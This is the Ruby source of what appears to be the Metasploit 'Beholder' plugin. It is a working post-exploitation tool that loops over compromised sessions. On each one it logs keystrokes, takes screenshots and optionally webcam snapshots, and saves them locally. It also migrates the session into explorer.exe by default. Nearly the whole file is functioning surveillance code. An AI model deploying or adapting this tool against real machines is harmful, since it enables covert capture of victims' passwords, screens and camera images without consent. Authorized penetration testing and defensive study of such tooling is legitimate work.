beholder.rb 9.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346
  1. # -*- coding:binary -*-
  2. require 'fileutils'
  3. module Msf
  4. class Plugin::Beholder < Msf::Plugin
  5. #
  6. # Worker Thread
  7. #
  8. class BeholderWorker
  9. attr_accessor :framework, :config, :driver, :thread, :state
  10. def initialize(framework, config, driver)
  11. self.state = {}
  12. self.framework = framework
  13. self.config = config
  14. self.driver = driver
  15. self.thread = framework.threads.spawn('BeholderWorker', false) do
  16. begin
  17. start
  18. rescue ::Exception => e
  19. warn "BeholderWorker: #{e.class} #{e} #{e.backtrace}"
  20. end
  21. # Mark this worker as dead
  22. self.thread = nil
  23. end
  24. end
  25. def stop
  26. return unless thread
  27. begin
  28. thread.kill
  29. rescue StandardError
  30. nil
  31. end
  32. self.thread = nil
  33. end
  34. def start
  35. driver.print_status("Beholder is logging to #{config[:base]}")
  36. bool_options = %i[screenshot webcam keystrokes automigrate]
  37. bool_options.each do |o|
  38. config[o] = !(config[o].to_s =~ /^[yt1]/i).nil?
  39. end
  40. int_options = %i[idle freq]
  41. int_options.each do |o|
  42. config[o] = config[o].to_i
  43. end
  44. ::FileUtils.mkdir_p(config[:base])
  45. loop do
  46. framework.sessions.each_key do |sid|
  47. if state[sid].nil? ||
  48. (state[sid][:last_update] + config[:freq] < Time.now.to_f)
  49. process(sid)
  50. end
  51. rescue ::Exception => e
  52. session_log(sid, "triggered an exception: #{e.class} #{e} #{e.backtrace}")
  53. end
  54. sleep(1)
  55. end
  56. end
  57. def process(sid)
  58. state[sid] ||= {}
  59. store_session_info(sid)
  60. return unless compatible?(sid)
  61. return if stale_session?(sid)
  62. verify_migration(sid)
  63. cache_sysinfo(sid)
  64. collect_keystrokes(sid)
  65. collect_screenshot(sid)
  66. collect_webcam(sid)
  67. end
  68. def session_log(sid, msg)
  69. ::File.open(::File.join(config[:base], 'session.log'), 'a') do |fd|
  70. fd.puts "#{Time.now.strftime('%Y-%m-%d %H:%M:%S')} Session #{sid} [#{state[sid][:info]}] #{msg}"
  71. end
  72. end
  73. def store_session_info(sid)
  74. state[sid][:last_update] = Time.now.to_f
  75. return if state[sid][:initialized]
  76. state[sid][:info] = framework.sessions[sid].info
  77. session_log(sid, 'registered')
  78. state[sid][:initialized] = true
  79. end
  80. def capture_filename(sid)
  81. state[sid][:name] + '_' + Time.now.strftime('%Y%m%d-%H%M%S')
  82. end
  83. def store_keystrokes(sid, data)
  84. return if data.empty?
  85. filename = capture_filename(sid) + '_keystrokes.txt'
  86. ::File.open(::File.join(config[:base], filename), 'wb') { |fd| fd.write(data) }
  87. session_log(sid, "captured keystrokes to #{filename}")
  88. end
  89. def store_screenshot(sid, data)
  90. filename = capture_filename(sid) + '_screenshot.jpg'
  91. ::File.open(::File.join(config[:base], filename), 'wb') { |fd| fd.write(data) }
  92. session_log(sid, "captured screenshot to #{filename}")
  93. end
  94. def store_webcam(sid, data)
  95. filename = capture_filename(sid) + '_webcam.jpg'
  96. ::File.open(::File.join(config[:base], filename), 'wb') { |fd| fd.write(data) }
  97. session_log(sid, "captured webcam snap to #{filename}")
  98. end
  99. # TODO: Stop the keystroke scanner when the plugin exits
  100. def collect_keystrokes(sid)
  101. return unless config[:keystrokes]
  102. sess = framework.sessions[sid]
  103. unless state[sid][:keyscan]
  104. # Consume any error (happens if the keystroke thread is already active)
  105. begin
  106. sess.ui.keyscan_start
  107. rescue StandardError
  108. nil
  109. end
  110. state[sid][:keyscan] = true
  111. return
  112. end
  113. collected_keys = sess.ui.keyscan_dump
  114. store_keystrokes(sid, collected_keys)
  115. end
  116. # TODO: Specify image quality
  117. def collect_screenshot(sid)
  118. return unless config[:screenshot]
  119. sess = framework.sessions[sid]
  120. collected_image = sess.ui.screenshot(50)
  121. store_screenshot(sid, collected_image)
  122. end
  123. # TODO: Specify webcam index and frame quality
  124. def collect_webcam(sid)
  125. return unless config[:webcam]
  126. sess = framework.sessions[sid]
  127. begin
  128. sess.webcam.webcam_start(1)
  129. collected_image = sess.webcam.webcam_get_frame(100)
  130. store_webcam(sid, collected_image)
  131. ensure
  132. sess.webcam.webcam_stop
  133. end
  134. end
  135. def cache_sysinfo(sid)
  136. return if state[sid][:sysinfo]
  137. state[sid][:sysinfo] = framework.sessions[sid].sys.config.sysinfo
  138. state[sid][:name] = "#{sid}_" + (state[sid][:sysinfo]['Computer'] || 'Unknown').gsub(/[^A-Za-z0-9._-]/, '')
  139. end
  140. def verify_migration(sid)
  141. return unless config[:automigrate]
  142. return if state[sid][:migrated]
  143. sess = framework.sessions[sid]
  144. # Are we in an explorer process already?
  145. pid = sess.sys.process.getpid
  146. session_log(sid, "has process ID #{pid}")
  147. ps = sess.sys.process.get_processes
  148. this_ps = ps.select { |x| x['pid'] == pid }.first
  149. # Already in explorer? Mark the session and move on
  150. if this_ps && this_ps['name'].to_s.downcase == 'explorer.exe'
  151. session_log(sid, 'is already in explorer.exe')
  152. state[sid][:migrated] = true
  153. return
  154. end
  155. # Attempt to migrate, but flag that we tried either way
  156. state[sid][:migrated] = true
  157. # Grab the first explorer.exe process we find that we have rights to
  158. target_ps = ps.select { |x| x['name'].to_s.downcase == 'explorer.exe' && x['user'].to_s != '' }.first
  159. unless target_ps
  160. # No explorer.exe process?
  161. session_log(sid, 'no explorer.exe process found for automigrate')
  162. return
  163. end
  164. # Attempt to migrate to the target pid
  165. session_log(sid, "attempting to migrate to #{target_ps.inspect}")
  166. sess.core.migrate(target_ps['pid'])
  167. end
  168. # Only support sessions that have core.migrate()
  169. def compatible?(sid)
  170. framework.sessions[sid].respond_to?(:core) &&
  171. framework.sessions[sid].core.respond_to?(:migrate)
  172. end
  173. # Skip sessions with ancient last checkin times
  174. def stale_session?(sid)
  175. return unless framework.sessions[sid].respond_to?(:last_checkin)
  176. session_age = Time.now.to_i - framework.sessions[sid].last_checkin.to_i
  177. # TODO: Make the max age configurable, for now 5 minutes seems reasonable
  178. if session_age > 300
  179. session_log(sid, "is a stale session, skipping, last checked in #{session_age} seconds ago")
  180. return true
  181. end
  182. return
  183. end
  184. end
  185. #
  186. # Command Dispatcher
  187. #
  188. class BeholderCommandDispatcher
  189. include Msf::Ui::Console::CommandDispatcher
  190. @@beholder_config = {
  191. screenshot: true,
  192. webcam: false,
  193. keystrokes: true,
  194. automigrate: true,
  195. base: ::File.join(Msf::Config.config_directory, 'beholder', Time.now.strftime('%Y-%m-%d.%s')),
  196. freq: 30,
  197. # TODO: Only capture when the idle threshold has been reached
  198. idle: 0
  199. }
  200. @@beholder_worker = nil
  201. def name
  202. 'Beholder'
  203. end
  204. def commands
  205. {
  206. 'beholder_start' => 'Start capturing data',
  207. 'beholder_stop' => 'Stop capturing data',
  208. 'beholder_conf' => 'Configure capture parameters'
  209. }
  210. end
  211. def cmd_beholder_stop(*_args)
  212. unless @@beholder_worker
  213. print_error('Error: Beholder is not active')
  214. return
  215. end
  216. print_status('Beholder is shutting down...')
  217. stop_beholder
  218. end
  219. def cmd_beholder_conf(*args)
  220. parse_config(*args)
  221. print_status('Beholder Configuration')
  222. print_status('----------------------')
  223. @@beholder_config.each_pair do |k, v|
  224. print_status(" #{k}: #{v}")
  225. end
  226. end
  227. def cmd_beholder_start(*args)
  228. opts = Rex::Parser::Arguments.new(
  229. '-h' => [ false, 'This help menu']
  230. )
  231. opts.parse(args) do |opt, _idx, _val|
  232. case opt
  233. when '-h'
  234. print_line('Usage: beholder_start [base=</path/to/directory>] [screenshot=<true|false>] [webcam=<true|false>] [keystrokes=<true|false>] [automigrate=<true|false>] [freq=30]')
  235. print_line(opts.usage)
  236. return
  237. end
  238. end
  239. if @@beholder_worker
  240. print_error('Error: Beholder is already active, use beholder_stop to terminate')
  241. return
  242. end
  243. parse_config(*args)
  244. start_beholder
  245. end
  246. def parse_config(*args)
  247. new_config = args.map { |x| x.split('=', 2) }
  248. new_config.each do |c|
  249. unless @@beholder_config.key?(c.first.to_sym)
  250. print_error("Invalid configuration option: #{c.first}")
  251. next
  252. end
  253. @@beholder_config[c.first.to_sym] = c.last
  254. end
  255. end
  256. def stop_beholder
  257. @@beholder_worker.stop if @@beholder_worker
  258. @@beholder_worker = nil
  259. end
  260. def start_beholder
  261. @@beholder_worker = BeholderWorker.new(framework, @@beholder_config, driver)
  262. end
  263. end
  264. #
  265. # Plugin Interface
  266. #
  267. def initialize(framework, opts)
  268. super
  269. add_console_dispatcher(BeholderCommandDispatcher)
  270. end
  271. def cleanup
  272. remove_console_dispatcher('Beholder')
  273. end
  274. def name
  275. 'beholder'
  276. end
  277. def desc
  278. 'Capture screenshots, webcam pictures, and keystrokes from active sessions'
  279. end
  280. end
  281. end